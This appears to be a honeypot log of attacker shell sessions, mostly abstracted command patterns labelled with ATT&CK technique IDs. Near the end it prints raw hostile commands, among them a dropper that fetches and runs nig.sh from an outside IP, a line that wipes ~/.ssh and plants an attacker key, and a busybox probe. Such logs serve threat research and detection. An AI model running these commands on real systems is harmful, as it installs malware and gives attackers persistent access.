('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l | head -c')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZYABS

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JEZFY


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JKUDE


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZKWIE


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh', 'echo')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YFERQ


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai

rm -rf nig.sh; rm -rf miori.*; wget http://2.56.59.225/nig.sh || curl -O http://2.56.59.225/nig.sh || tftp 2.56.59.225 -c get nig.sh || tftp -g -r nig.sh 2.56.59.225; chmod 777 nig.sh;./nig.sh ssh; rm -rf nig.sh

('enable', 'system', 'shell', 'sh', 'linuxshell', 'cd ; echo > ; cat ; rm -rf', 'rm -rf ; rm -rf ; wget || curl -O || tftp -c || tftp -g -r ; chmod ; ./ ; rm -rf')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CIVOS


('cd || cd || cd || cd || cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SWDCZ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VASVC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OBAJI


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WYCQB

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


cd /tmp && chmod +x tseLLRfT && bash -c ./tseLLRfT

('scp', 'cd && chmod +x && bash -c ./', './tseLLRfT')


